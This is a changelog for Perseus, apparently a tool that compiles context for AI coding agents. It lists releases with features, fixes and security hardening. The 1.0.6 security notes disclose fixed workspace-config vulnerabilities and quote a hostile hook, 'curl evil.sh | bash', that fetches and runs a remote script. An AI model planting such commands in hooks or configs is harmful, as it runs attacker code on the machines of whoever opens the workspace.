  • @bandit — adaptive, outcome-driven directive selection (#605). A control directive (not an MCP tool) that scores directives by observed outcome feedback and adapts which ones render over time, turning static directive lists into a self-optimizing context policy. New src/perseus/bandit.py module with persistence, CLI surface, and tests/test_bandit.py coverage.

  • Recall-First memory posture. INIT_CONTEXT_TEMPLATE's Memory Gate section was rewritten as a Recall-First posture: agents are directed to query memory on demand instead of relying on always-injected memory blocks.

🐛 Fixes

  • @tier:N no longer leaks into directive resolver args (#631). Both extraction paths took directive args from the regex match made before the tier strip, so @query "cmd" @tier:2 passed the literal @tier:2 into resolver args, modifier parsing (fallback=/schema=/timeout= scanning saw stray text), cache keys (pre-scan and main loop diverged → spurious misses / double execution), and — for unquoted commands — the executed command string itself. Args now derive from the tier-stripped line at the main loop's shared extraction point (covering every generic inline directive, not just @query) and from the pre-scan's cleaned text. Cache design decision: a tier annotation does not partition the cache — tier gates whether a directive runs, not what it produces, matching how @cache modifiers are excluded from the key — so @query "cmd" @tier:2 and @query "cmd" share one entry and the two execution paths agree. 7 regression tests in tests/test_tiered_context.py.

  • @query shell exec now enforces the PERSEUS_ALLOW_DANGEROUS defense-in-depth gate (#616). Previously gated on render.allow_query_shell config only, while the registry summary, docs, and sibling shell-exec directives (@agent, @services command) promised/enforced the env gate. Both resolve_query AND the @if query("cmd") matches /re/ condition helper now require the env var (config first, env second, policy_denied audit); @query rejoined _ENV_GATED_DIRECTIVES so cache fingerprints track env flips. Breaking for config-only setups — export PERSEUS_ALLOW_DANGEROUS=1 to restore @query execution (this was always the documented posture).

  • @profile / memory-dedup heuristic edges (#627). (1) The @profile source scan is now fence-aware: a directive shown inside a ``` / ~~~ code fence is documentation and never switches the render's memory posture (reuses the renderer's shared fence-state helpers). (2) Multiple @profile lines: first-wins is now documented and visible — every banner after the first is marked "⚠ ignored — first @profile governs" instead of rendering as a silently non-governing normal banner. (3) The memory-dedup gate matches only the exact Perseus-generated section headers (current + historical variants); a memory-like user-authored heading (e.g. "## Persistent Memory Design") no longer suppresses injection — it injects normally with a stderr note flagging the near-miss. Default renders without `@profile`/memory sections are byte-identical.

  • prompt-size/@budget accounting nits (#626). @budget declarations found inside @include'd files are now surfaced as a not-enforced warning (new included_budgets JSON field + stderr note) instead of being silently ignored — enforcement semantics are unchanged (top-level only, documented as an explicit scope contract including the text-level @if behavior). The scan is text-driven from the top-level source (fence-aware, workspace-relative resolution, cycle-safe via resolved-path dedup, capped at render.max_include_depth) so the report is identical on cold and warm @include cache — transitive includes included. static.tokens (derived as total − Σ per-directive tokens) is clamped at 0 — BPE counts are not additive, so exact mode could go slightly negative — and flagged tokens_derived; the byte invariant stays measured and exact.

  • @bandit hardening (#622–#625). Four follow-ups from the independent review of PR #617 (all on the opt-in surface; the default render.bandit: off path stays byte-identical): a render aborted by a directive error no longer leaks a stale _BANDIT_ACTIVE context into direct _render_lines callers like the LSP hover path (#622, try/except + _bandit_abort; the incomplete render is not persisted); the ledger arms map is now capped with last-seen eviction (render.bandit_max_arms, default 200, mirroring bandit_max_renders) so templated directive args can't grow the ledger file unboundedly (#623); malformed bandit_seed/bandit_budget config values fall back to defaults with a stderr warning instead of raising out of an opted-in render (#624); and the parallel @query pre-scan now consults the bandit policy before pre-executing — dropped arms never pay the shell-execution cost — while prefetched results are charged to the collector/ledger so hidden prefetch costs can't bias future include/drop decisions (#625; decisions are memoized per arm so the pre-scan and the render loop can never disagree). 6 new regression tests in tests/test_bandit.py.

  • Wave-3 merge-review follow-ups (#609–#614, PR #615). compare_digest on bytes (#609), do_POST host-guard (#610), @services no-redirect (#611), env-fingerprint scoping (#612), prefetch cache key (#613), identity file 0o600 permissions (#614).

[1.0.14] — 2026-07-01

🐛 Fixes

  • @memory mode=search no longer silently drops vault (MCP) hits or misreports why (#539). MemorySegment now carries an error field describing why the vault produced zero items (unreachable, MCP call failed, or genuinely disabled) instead of collapsing every failure into the generic "fresh install, no memories" message. _resolve_memory_search renders a distinct "Vault unreachable (<reason>)" warning when the vault genuinely couldn't be queried, separate from the case where it was reachable and simply found no matches. The --explain directive manifest picks this up automatically since the warning is part of the rendered directive output. 3 new regression tests in tests/test_mimir.py cover vault-error, genuine-no-matches, and local-hits-with-vault-error scenarios.

✨ Enhancements

  • Observability metadata block (#511). Opt-in (observability.emit_metadata, default off): a top-level render prepends a <!-- perseus:meta ... --> HTML comment (version, context_hash, span_id, workspace, rendered_at, source categories) so tracers like Langfuse / LangSmith / Rifft can identify which compiled context an agent ran under. Invisible to the LLM; the default deterministic render path is unchanged.

  • Quoted + named macro arguments (task-66 follow-up). Directive macros now accept multi-word arguments via single/double quotes and key="value" named args, in addition to the existing positional whitespace-split form. Backward compatible: an unquoted, no-= argument string splits on whitespace exactly as before, and an unbalanced quote falls back to a plain split rather than raising. This enables self-contained card-style macros (e.g. a four-zone "what / why / next / source" actionable-item card). New tests in tests/test_macros.py.

[1.0.13] — 2026-06-28

🔌 Distribution

  • MCP Registry readiness (#506). Perseus now publishes to registry.modelcontextprotocol.io: server.json trimmed to the registry's limits and the mcp-name ownership marker in the README corrected to the io.github.Perseus-Computing-LLC/perseus namespace, plus an OIDC publish workflow. The registry is the source the MCP directories (Glama, PulseMCP, mcp.so) crawl.

🔒 Hardening

  • Constructing the Mimir connector no longer touches the filesystem (#506). _MCPStdioClient.__init__ called os.makedirs while parsing --db, so merely instantiating the connector (e.g. to read .status) created directories on disk. Directory creation moved to connect(), where the subprocess is actually spawned; construction is now a pure, side-effect-free operation.

[1.0.12] — 2026-06-28

⚡ Efficiency

  • perseus scan is faster on large contexts (#504). The secret/PII scanner masked each finding's line by re-running every rule over it — O(findings × rules) even when many findings share a line — and built its line-offset table with a per-character Python loop. Lines are now masked once and cached by line number, and the offset table is built with a C-level str.find scan. Identical output.
  • Mimir connector config-hash keyed on the mimir subtree only (#503). _get_connector stringified and SHA-256'd the entire Perseus config on every @memory/@mimir directive just to detect a connector-relevant change. It now hashes only the mimir config block (deterministic json.dumps(sort_keys=True)) — cheaper on the hot path, and it no longer rebuilds the connector when unrelated config changes.

✅ Fixes

  • Connector merge diagnostics (#503)merge_mneme_only reported the mimir-only count instead of the local/mneme-only count (a copy of merge_mimir_only). Observability only.

🔒 Hardening

  • Mimir connector MCP stdio client is now genuinely fail-safe (#502). The connector is the convergence surface between Perseus and Mimir and is meant to degrade gracefully when Mimir misbehaves, but four flaws broke that promise:
    • The configured timeout_s was dead_call did a bare blocking stdout.readline(), so a hung Mimir subprocess blocked the entire render indefinitely. Responses are now read through a background reader thread with a real deadline; on timeout the process is torn down so the circuit breaker trips.
    • Leaked subprocess on a failed initialize handshake — connect() now calls disconnect() on every failure path instead of orphaning the process.
    • Undrained stderr=PIPE could deadlock a chatty server once the OS pipe buffer filled; stderr is now DEVNULL.
    • No request/response id correlation — a stray notification or out-of-order reply desynced every subsequent call. _call now skips notifications and non-matching ids until the correct response (or the timeout) arrives.

[1.0.11] — 2026-06-27

🔒 Security

  • perseus scan — secrets/PII build gate. Renders a context (with redaction disabled, in-memory only) and scans the resolved output for secret shapes, exiting non-zero on findings so CI can block a context that would leak credentials — catching secrets pulled in via @env/@query/@include/@tool. Reports are masked (a finding never prints the secret value). --pii adds opt-in PII detectors (email, US SSN, US phone, Luhn-validated credit card; precision-first so git SHAs / checksums / non-Luhn digit runs don't trip it); --report-only reports without failing; --json for machine output. New redaction.detect_pii config toggle (default off). PII is detection-only — it is not auto-redacted from render output, since emails/phones are often legitimate content. (#481)

⚡ Efficiency

  • perseus compress — deterministic context compression. Renders a context then shrinks it losslessly-for-meaning and reports a citable token-reduction percent. Unlike ML compressors (LLMLingua), it is fully deterministic and dependency-free: trims trailing whitespace, collapses blank-line runs (max_blank_lines), drops adjacent duplicate lines, and optionally strips HTML/markdown comments — while preserving fenced code blocks verbatim. The same input always yields the same output and the same number, so a build can assert on it. --output / --json / --max-blank-lines / --no-dedup / --strip-comments; new compress config block (off by default). (#482)
  • perseus preview — diffable token-annotated compile preview. Renders a context then shows where the tokens go — a per-directive and per-section token budget. The pairing for compress: compress shrinks the context, preview shows what is taking up the space to begin with. Output is intentionally stable and free of volatile fields (no timestamps, durations, or cache flags) and ordering is deterministic, so the same source yields byte-identical output and a build can diff its context budget over time. Reports tier-skipped directives. --json for a stable CI-diffable schema; --tier / --no-cache. (#483)

[1.0.10] — 2026-06-27

🔌 Context Adapter SDK & convergence

  • Context Adapter SDK — compile a Perseus context once and drop it into any agent framework without making Perseus a framework dependency: compile_context() (the "resolve once" primitive), as_messages() (universal role/content), and compose(target="text"|"messages"|"langchain"|"llamaindex"). Framework adapters lazy-import their framework only when called. See docs/CONTEXT-ADAPTER-SDK.md. (#477)
  • Mimir hot-entity injectionMimirConnector.context() wraps Mimir's mimir_context tool so always_on "hot" entities load first into rendered context (previously an empty-query recall dropped them); scoped via the new mimir.context_categories config key, with a fail-safe fallback for older Mimir. The first cross-product Memory+Context "compose, don't replace" demo. (#474)
  • Reproducible offline benchmarkbenchmark/compose/ compares compiled-context token size and answer coverage against naive / LangChain-BM25 / LlamaIndex-BM25 retrieval, fully offline (no LLM, no network). Honest framing: Perseus's edge is full answer coverage at a fixed deterministic size with no retrieval index, not a dramatically smaller payload. (#476)
  • Docs reconciliation — corrected stale Mimir references (v2.0.0/36 tools/"no embeddings model required" → v2.2/40 tools/bundled embeddings by default) and replaced fictional Mimir tool names with real ones across README/SETUP-GUIDE/EXPORT-CONTROL. (#475)

⚡ Performance

  • Federation hot-path optimizations: parallelized pull fan-out, subscriber push, digest-narrative fetches, and conflict-section pre-tokenization; fresh remote-narrative cache served without a network fetch; single-pass drift-metric computation; debounced @memory narrative read-rewrite; skipped recall-index write when nothing changed; memoized satellite-connector binary-path probes. (#445, #447, #448, #449, #456, #457, #458, #459, #460, #461, #463, #464, #472)
  • render_source is now a top-level API; fixed parallel @query cache-key clobbering and a persistent MCP client gap. (#462, #471)

🪟 Platform

  • Windows is now a first-class platform — the full test suite passes on Windows and a windows-latest CI job keeps it green. Fixes shipped: cross-platform advisory file locking (replacing the POSIX-only fcntl), checkpoint fsync on a writable handle (Windows os.fsync rejects read-only fds), LSP file:// URI→path conversion via url2pathname, os.chown guarded for perseus render -o, explicit null-byte path rejection, cmd.exe-default shell for @if/@query, detached subprocess stdin, UTF-8 for all file I/O, and process-tree kill for runaway shell hooks. (#426, #427, #428, #429, #432, #435, #436)

✨ Directives

  • @include windowing — bound a growing included file with last=N (final N lines) or since=14d/2w/24h (recent dated sections only); optional render.max_include_warn_bytes advisory when a single include renders oversized. (#433)

✅ Fixes

  • #430 — scheduler (launchd/cron/systemd) now invokes a version-stable perseus launcher (~/.local/bin/perseus, then PATH, then a flagged version-specific fallback) instead of baking in the versioned interpreter path, so scheduled renders survive a Python minor-version upgrade.
  • #431 — render staleness is now visible: perseus render --output prints a versioned, timestamped audit line on each run (suppress with --quiet), and perseus doctor flags rendered outputs older than render.staleness_warn_hours (default 48h).

[1.0.9] — 2026-06-20

Published to PyPI on 2026-06-20. The Windows-portability work, @include windowing, and the scheduler/staleness fixes (#430/#431/#433) landed after this release and ship in 1.0.10.

🌐 Federation

  • Decentralized federation — Cross-instance context sharing with cryptographic identity and a push transport, so workspaces can exchange context under explicit access control. (tasks 96–101)

✨ Directives

  • @tokens — token budgeting/accounting in context resolution. (#395)
  • @dedup — de-duplicate repeated content during render. (#396)
  • @memory tiers — tiered memory selection in the resolve pipeline. (#397, #399)

🔌 Integrations & Tools

  • perseus_trace (stub) — MCP tool stub for PROV-O provenance tracing; interface only, not yet implemented. (#401, #406)
  • --offline flag (stub) — air-gapped deployment stub for disabling network-dependent features. (#403, #407)

🧠 Memory

  • Mnēmē narratives indexed by default — align the indexer's vault path with the writer's store path and enrich frontmatter, fixing a case where the FTS5 narrative index was left empty.

🏛️ Government & Compliance

  • Federal procurement posture — government procurement landing page, federal buyers guide, SBOM, and a NIST AI RMF alignment mapping all four functions (Govern/Map/Measure/Manage) to Perseus and Mimir. (#402, #405)
  • Export-control self-classification — EAR99, no ITAR; public-availability exclusion for AES-256-GCM.
  • SECURITY.md — added vulnerability reporting process, attack-surface analysis, and compliance posture.

🎨 Site

  • Full redesign — all pages rebuilt on the pitch-deck design system; static HTML replaces the 429 KB bundler. Added Perseus Cloud and Plutus landing pages; PR Pilot and Blast Radius product pages refreshed; page-load flash / font FOUT fixes. (#413, #415, #417, #420, #421)
  • Funding — Polar.sh and Ko-fi links added.

✅ Fixes

  • #400 — clearer error message when context.md is missing. (#404)
  • #391 — bumped internal version pins to v1.0.8.
  • #392@agora now logs a warning in broad exception handlers.
  • Docs — corrected the Mimir section of the setup guide (config key, tier model, tools, install) and updated the Mimir version reference to v2.0.0.

[1.0.8] — 2026-06-17

🏢 Organization

  • Perseus Computing LLC — All source, docs, and config migrated from personal account (tcconnally) to organization (Perseus-Computing-LLC). Author field, URLs, server.json, and website links updated. (#374, #375)
  • Company branding — Added Perseus Computing LLC branding across the site. (#369)

🔌 Integrations

  • Hermes context-engine adapter — New adapter for Hermes Agent's context engine with tool-schema fixes. (#376)

🧪 Quality

  • Gauntlet v2 100.0/100 — Full benchmark suite passing. Site, SVG, and README updated with current scores.

✅ Fixes

  • #368 — Mason docs, Mneme fallback warning, @tool test coverage.
  • #377 — Version banner fix for auto-rebuild CI.
  • #378 — Improved Mimir binary-not-found diagnostic.

[1.0.7] — 2026-06-12

🧠 Memory Backend

  • Mimir v0.2.0 — Upgraded Mimir connector to the new entity model. Mimir now provides structured entities with category/key idempotent upsert, journal events (evaluated/acted/forward), state management with TTL, entity linking, soft-delete, category-filtered recall, and session context injection. 17 MCP tools total.
  • Sibyl Memory removedsibyl_memory.py, sibyl_mcp_server.py, @sibyl/@sibyl_state directives, and the sibyl-memory-client SDK dependency have been removed. Mimir is the sole persistent memory backend.
  • Renderer — Sibyl passive auto-injection replaced with _mimir_context_inject in the render pipeline.
  • Connector rewritemimir_connector.py rewritten for the entity model. Class renamed MnemeConnectorMimirConnector. Data model: MemoryHitEntityHit, _parse_memory_hits_parse_entity_hits.
  • Config — New optional keys: context_categories and context_limit for session context injection.

✅ Fixes

  • #277@memory cache fingerprints include active Mimir connector configuration.

[1.0.6] — UNRELEASED (security guide)

🔒 Security

  • #169 — Workspace-sourced plugin configuration (plugins.dir) is now refused by default. Pre-1.0.6 a workspace .perseus/config.yaml setting plugins.dir: /path/to/attacker/code caused _discover_plugins() to spec.loader.exec_module(mod) on every .py file in that directory at startup — full Python execution before any directive trust gate, audit, or user prompt. Same attack vector as #168 but with no shell-quoting limits. Attack: git clone a malicious workspace, get pwned.

    Fix: _discover_plugins consults cfg["_provenance"]["plugins_workspace_sourced"] set by load_config. Workspace-sourced plugin config is refused unless BOTH:

    1. Global ~/.perseus/config.yaml sets plugins.allow_workspace_sourced: true
    2. Env var PERSEUS_ALLOW_DANGEROUS=1

    Refusal emits a plugins_workspace_refused audit event with the refused directory path. Global-sourced plugin config is unaffected.

    Regression suite (8 tests): workspace plugin dir refused by default, allowed with full opt-in, refused with only-global, refused with only-env, global plugins always load, audit trail, no false-positive refusal when no plugin config exists, allow-gate helper unit test.

  • #168 — Workspace-sourced shell hooks and Python hooks.dir are now refused by default. Pre-1.0.6 a workspace .perseus/config.yaml could declare hooks.on_render_start: ["curl evil.sh | bash"] and the command would run on the next perseus render — no allow_query_shell, no PERSEUS_ALLOW_DANGEROUS, no audit. Same attack via hooks.dir: /path/to/attacker/code (Python top-level code runs at import time). Attack: git clone a malicious workspace, get pwned.

    Fix: load_config annotates cfg["_provenance"] with which sections came from the workspace source. hooks.py refuses workspace-sourced shell hooks and hooks.dir Python hooks unless BOTH conditions are met:

    1. Global ~/.perseus/config.yaml sets hooks.allow_workspace_sourced: true
    2. Env var PERSEUS_ALLOW_DANGEROUS=1 is set

    Refusal emits hooks_workspace_refused / hooks_workspace_shell_refused audit events plus a stderr warning. Global-sourced hooks are unaffected (the user owns global config; trust is implicit).

    Regression suite (10 tests): workspace shell hook refused, allowed with full opt-in, refused with only-global opt-in, refused with only-env opt-in, global hooks always run, provenance tracking, audit trail, Python hooks.dir refused.

🧠 Mneme Hybrid Memory — Project Synapse

Mnēmē v2 receives an optional persistent memory accelerator via Mneme, an MCP-based hybrid resolution bridge. Mnēmē alone is an in-process local memory engine (SQLite FTS5, zero daemon, 37ms P50 search). Mneme adds a second tier: a remote persistent memory backend with Ebbinghaus time-decay, topic trees, and hybrid search (semantic + BM25) accessible over MCP JSON-RPC.

The hybrid resolution flow (Project Synapse) merges both layers at render time:

  1. Sense layer (Live) — Perseus resolves current environment state (ports, services, system health).
  2. Memory layer (Mneme) — Queries the remote backend for relevant historical context (architecture decisions, past debugging sessions, project conventions).
  3. Merge — Combines both into a single ContextPackage, with Mneme results ranked by decay_score (Ebbinghaus algorithm) so recently reinforced memories surface first.

Infrastructure:

  • MnemeConnector — MCP client communicating with Mneme via stdio JSON-RPC (SSE for remote deployments).
  • Circuit breaker and exponential backoff (threshold: 3 failures, 120s cooldown) — if Mneme is offline, Perseus automatically degrades to local-only Mnēmē FTS5 without hanging or crashing.
  • Configuration under the mneme: block in config.yaml with merge_strategy (local_first, remote_first, interleave), retry_policy, and connection parameters.

Data model: MemoryHit, MemoryLayer (core/working/buffer), and ContextPackage dataclasses enforce source tagging so the assistant can distinguish "what is happening now" from "what we decided then."

FTS5 fallback (v1.0.6+, mneme v0.5.0+): When memory_recall returns empty vector results (e.g., the embedding index is cold or not yet built), Perseus automatically falls back to local SQLite FTS5 keyword search over the mneme database (~/.perseus/mneme/mneme.db). This guarantees memory recall always returns results — no silent empty responses. The mneme binary (mneme) writes to this database; Perseus reads it directly.

memory_add is async: The memory_add MCP tool returns null or empty while the LLM-based fact extraction pipeline runs in the background. Perseus treats null responses as success — data is stored and will be available on the next memory_recall call. No polling or retry logic is needed.

All Mnemosyne-specific types and gRPC transport have been replaced. The @memory directive and MCP tool perseus_memory resolve through the unified hybrid path. 32 smoke tests validate the full pipeline including circuit breaker open/close, backoff timing, merge strategies, decay-score ordering, and graceful degradation.

Config migration: Replace any legacy mnemosyne: block with mneme:. See SETUP-GUIDE.md § Mneme Hybrid Resolution for the full configuration reference.

Mnēmē v1 — Persistent Memory Backend (upgraded to Mnēmē v2 in 1.0.6; Mneme hybrid accelerator added in 1.0.6):

⚠ The initial @mneme directive and memory backend were upgraded in a subsequent release to the native Mnēmē v2 SQLite FTS5 backend. The @memory directive now routes exclusively through Mnēmē v2. In v1.0.6, Mnēmē v2 gains an optional Mneme hybrid accelerator (Project Synapse) — an MCP-based remote memory backend with Ebbinghaus time-decay and semantic + BM25 hybrid search. Local-only mode remains the zero-dependency default.

  • task-86@mneme directive: query persistent memories via the Mnēmē memory backend.
  • task-87_mneme_recall() memory client.
  • task-88@memory backend routing (Upgraded — unified under Mnēmē v2.)
  • task-89memory.backend config key (Upgraded in Mnēmē v2.)
  • task-90 — 20 new tests (Upgraded with the feature.)

[1.0.4] — 2026-05-25

Phase 24 — Extensibility Architecture (Hephaestus):

  • task-65 — Plugin directive system: auto-discovered Python plugins under ~/.perseus/plugins/. Each module exports a REGISTER dict of DirectiveSpec entries. Plugin errors are warnings, not fatal.
  • task-66 — Directive macros: @macro name ... @endmacro blocks in context documents or .perseus/macros.md. Pre-processing pass expands invocations before the resolver loop.
  • task-67 — Render pipeline hooks: lifecycle callbacks (on_render_start, on_directive_resolved, on_cache_hit/miss, on_render_complete, on_directive_error) via shell commands or Python callbacks.
  • task-68 — Output format adapters: plugin interface for custom formats beyond markdown/HTML. perseus render --format json returns structured {resolved, directives} output.
  • task-69 — Foreign resolver protocol: @perseus <url> fetches rendered context from remote Perseus serve instances. HMAC signature verification, TTL caching, graceful degradation.
  • task-70 — Custom schema validators: plugin validators in .perseus/schemas/. Referenced via schema="plugin:my-validator". Works alongside the built-in validator.
  • task-71 — Pipe syntax: lightweight chaining — @query "ls" | @cache ttl=300. Left-to-right resolution, output of stage N becomes input of stage N+1.
  • task-72 — Event webhooks: POST render lifecycle events to external URLs with optional HMAC-SHA256 signing. Config-driven with per-event selection.
  • task-73 — Tool directive integration: @tool "path/to/tool" with config-based allowlist, argument restrictions, timeouts, and output size caps.
  • task-74 — Directive aliasing: config-driven shorthand — @q→@query, @svc→@services. Single-pass expansion, built-ins always win collisions.

Phase 25 — MCP Deep Integration:

  • task-75 — Expose every directive as an MCP tool. perseus mcp serve runs a JSON-RPC 2.0 MCP server over stdio. Each DIRECTIVE_REGISTRY entry becomes a perseus_<name> tool with auto-generated descriptions and input schemas. Trust gates enforced per-tool. Backward compatible with existing perseus_get_context / perseus_get_health.

[1.0.3] — 2026-05-24

Phase 24 — Assistant format targets, hook installer, MCP server (~840 lines):

  • task-77 — Assistant format targets: perseus render --format agents-md|claude-md|cursorrules|copilot-instructions renders .perseus/context.md into every major assistant's native context file. Auto-resolves default output paths. Each file gets a "Generated by Perseus" header pointing back to the source.
  • task-78 — Hook installer: perseus install --target claude-code drops SessionStart + UserPromptSubmit hooks into .claude/settings.json for automatic context injection at session start and on every prompt. Also supports --target cursor, gemini-cli, copilot. Smart merge preserves existing hooks.
  • task-79 — MCP server façade: perseus mcp serve runs as a JSON-RPC 2.0 MCP server over stdio, exposing 13 Perseus directives as native MCP tools (query, services, memory, skills, waypoint, session, agora, inbox, read, env, health, agent, date). mcp config prints ready-to-paste client configs.

Distribution:

  • task-80 — MCP Registry listing published live (server.json) — 13 tools, PyPI transport.
  • task-81 — Anthropic Skills marketplace listing (SKILL.md) — ready for PR to anthropics/skills.
  • pyproject.toml version bumped to 1.0.3.

Show HN preparation:

  • task-82 — Swarm demo script — 120 agents, 4 batches, 51 frames of parallel multi-agent coordination.
  • task-83 — Swarm demo GIF re-themed to match perseus.observer palette; added to README Multi-Agent section.
  • task-84 — Show HN post draft.
  • task-85 — Cyberpunk v2 landing page deployed to perseus.observer.

CI, docs, and tooling:

  • GitHub Actions CI workflow with coverage on Python 3.10/3.11/3.12.
  • .coveragerc — 70% coverage threshold.
  • 596 tests passing, 1 skipped.

[1.0.2] — 2026-05-23

Bug fixes (Opus 4.7 Max / Codex 5.5 Extreme High benchmarks):

  • task-63 — Fixed Path.write_text missing encoding on Windows — emoji (📌) crash in default prompts.
  • task-64 — Fixed /bin/bash unreachable on native Windows Python — added _get_shell() helper using shutil.which() with system-default fallback for @query, @services, and @agent.
  • task-65 — Fixed @query binary stdout NoneType crash — guarded result.stdout with or "".
  • task-66 — Fixed perseus --help crash on Windows (Mnēmē macron ē can't encode to cp1252) — added sys.stdout/stderr.reconfigure(encoding="utf-8") at import time.

New features:

  • task-67render.max_query_bytes (default 256 KB) — caps runaway @query stdout with a visible truncation marker. Prevents 12 MB scanner output from silently inflating context documents (47× output reduction demonstrated).
  • task-68Configurable @query timeoutrender.query_timeout_s (default 30s) and per-directive timeout=N modifier (e.g. @query "..." timeout=120).
  • task-69render.parallel_services (opt-in, default off) — concurrent @services health checks via ThreadPoolExecutor. 100 services go from ~5 min serial to ~3 s parallel.
  • task-70render.parallel_queries (opt-in, default off) — pre-scans top-level @query directives and resolves them concurrently. Directives inside @if branches remain sequential.

Integrations:

  • task-71VS Code / Cursor extension — auto-renders on .perseus/context.md save, status bar indicator, auto-detects target assistant file, watch mode.
  • task-72Claude Code session hook — one curl install, runs perseus render before every Claude Code session.
  • task-73GitHub Action — renders context on push/schedule, commits back to repo so every developer gets pre-resolved context without installing Perseus locally.

Multi-agent coordination:

  • task-74Shared checkpoint store — agents across machines/sessions share a single checkpoint store (config: checkpoints.store path, accessible via NFS/SMB/unison).
  • task-75Lock file mechanismos.O_CREAT | os.O_EXCL atomic lock in the checkpoint store prevents concurrent writers from clobbering. Retries with backoff for ~11s before failing gracefully. NFS-safe (O_CREAT | O_EXCL is atomic cross-filesystem).
  • task-76Checkpoint recoveryperseus recover --from <store> reads the latest checkpoint and prints the workspace/task/status triplet so an agent dropped into a terminal knows exactly where to resume.

Benchmarks:

  • Extreme scaling sweep on Linux: 10 → 10,000 @query directives, 4 modes each (sequential, cached, parallel, cached+parallel). Cache warm time stays flat at ~0.3–0.5s regardless of scale. 10,000 queries at 0.52s warm (25× vs 13.1s cold).
  • Integrated heavy benchmark suite (benchmark/heavy/) with 4 reports, setup harnesses, machine-readable result JSONs from Claude Code Opus 4.7 and Codex 5.5 Extreme High runs.
  • Efficiency infographic on README showing cold→warm scaling curve and 40× warm speedup.

CI, docs, and tooling:

  • Added GitHub Actions CI workflow with coverage on Python 3.10/3.11/3.12.
  • Added .coveragerc — 70% coverage threshold.
  • Updated .gitignore for generated context files (CLAUDE.md, AGENTS.md, .cursorrules).
  • Updated demo GIF with 6-scene cold→warm walkthrough.
  • 540 tests passing, 1 skipped. 70% coverage on the 10,463-line artifact.

[1.0.1] — 2026-05-21

Patch release: corrects the PyPI author field to the GitHub handle (tcconnally). No code changes; all 496 tests pass.

  • task-62 (follow-up) — post-release doc and metadata fixes: corrected PyPI author field, updated test-count references across README/docs/index.md to reflect live count (496 passed, 1 skipped), and aligned PRODUCT_CONTRACT.md status to v1.0.1 stable.

[1.0.0] — 2026-05-20

All Phase 1–22 tasks complete. Perseus v1.0.0 — the first stable release.

  • task-56 — Phase 20C: added headless watch mode (perseus watch) — inotify/polling file watcher with configurable interval, re-render on change, and debounce. Degrades gracefully when watchdog is unavailable.
  • task-57 — Phase 21A: added golden evaluation corpus under tests/fixtures/golden/ covering render, synthesis, and Pythia output shapes; deterministic comparison harness in tests/test_golden.py.
  • task-58 — Phase 21B: added performance budget framework (tests/test_perf_budgets.py) with per-command cold/warm timing, advisory warnings at 2× budget, and configurable thresholds. Three commands (render, graph, prefetch) emit advisory warnings in the current environment — not failures.
  • task-59 — Phase 21C: added compatibility and migration suite (tests/test_compat_migration.py) covering checkpoint round-trip compatibility, config migration (oracle:pythia: rename), pack manifest version handling, and install/upgrade smoke paths.
  • task-60 — Phase 22A: added docs/index.md (documentation hub), docs/quickstart.md (install-to-render in 10 steps), and docs/CONTRIBUTING.md (contributor guide with single-file constraint, directive authoring 4-touch pattern, test conventions, Agora workflow). Updated README with ## Documentation section.
  • task-61 — Phase 22B: added examples/ with three runnable demo workspaces: local-cli/ (render, checkpoint, recover, suggest, doctor), assistant-profile/ (context pack, hermes profile, @memory + @agora), and container/README.md (Docker mount and auth guide). Smoke scripts verified end-to-end.
  • task-62 — Phase 22C: v1 release candidate checklist. 493 tests passing (1 skipped TCP smoke). Release artifacts built and checksums verified. README/CHANGELOG/ROADMAP docs aligned. Version bumped to 1.0.0-rc.1. Known limitations documented.

[1.0.0-rc.1] — 2026-05-20

Release candidate — superseded by v1.0.0.

  • task-63 — Completed the Oracle → Pythia internal rename while preserving the public perseus oracle CLI compatibility surface. Added legacy oracle: config warnings and one-time oracle_log.jsonlpythia_log.jsonl migration.
  • task-49 — Phase 18B: added tests/test_release.py (16 tests) covering all release artifact acceptance criteria — version coherence, repeatability, SHA256SUMS integrity, CHANGELOG task mapping, and tarball contents.
  • task-50 — Phase 18C: aligned scheduler behavior and docs around host-neutral POSIX crontab generation, macOS launchd, Linux systemd, and explicitly deferred native Windows Task Scheduler support. Added scheduler smoke tests and repaired release artifact portability on macOS/BSD tar.
  • task-51 — Phase 19A: added offline adapter conformance fixtures and a parametrized harness covering generic, Hermes, Codex, Claude Code, Cursor, and Rovo Dev render outputs, pack manifests, and integration docs.
  • task-52 — Phase 19B: promoted product profiles into a documented gallery with output paths, trust defaults, refresh guidance, non-interactive generation tests, and hardcoded-path guards for all six supported profiles.
  • task-53 — Phase 19C: polished the VSCode extension for release with reproducible packaging docs, package scripts, LSP render/checkpoint/mutation smoke tests, and static package-manifest checks.
  • task-54 — Phase 20A: added optional bearer-token authentication for perseus serve, a token generator, non-loopback bind safety gates, trust report serve fields, and HTTP auth tests.
  • task-55 — Phase 20B: added a single-file-runtime container image, compose examples for render and authenticated serve, container trust docs, and static/optional Docker smoke tests.
  • task-56 — Phase 20C: added perseus watch, a dependency-free polling loop for refreshing single source files or context-pack render targets, with deterministic debounce tests and clean shutdown behavior.

[0.9.0] — 2026-05-19

Trust, privacy, and local policy (Phase 17)

  • task-45 — Permission profiles (strict / balanced / power-user); perseus trust and --json; serve.bind promoted to config; version bump to 0.9.0.
  • task-46 — Secrets redaction (DEFAULT_REDACTION_RULES, redact_text()) at render/synthesize/serve trust boundaries; source files never mutated; counts-only report.
  • task-47 — Audit log (audit_event() JSONL with rotation); emitters at 5 trust boundaries; perseus trust audit [--tail N] [--json]; default perseus trust shows audit posture; secret values never persisted.

Distribution (Phase 18)

  • task-48 — Installer bootstrap (scripts/install.sh + INSTALL.md); preserves the single-file runtime; verifies Python 3.10+ and pyyaml; idempotent upgrade and clean uninstall.
  • task-49 — Release artifacts and versioning: VERSION file as source of truth, scripts/release.sh produces a deterministic tarball + zip + SHA256SUMS, this changelog, and version-coherence checks (perseus.py / VERSION / CHANGELOG).

Verification

  • Tests: 393 passing, 0 skipped.
  • Single-file runtime: perseus.py (pyyaml only).

[0.8.x and earlier]

Pre-Phase 17 history is tracked in tasks/ (closed task files) and HANDOFF.md.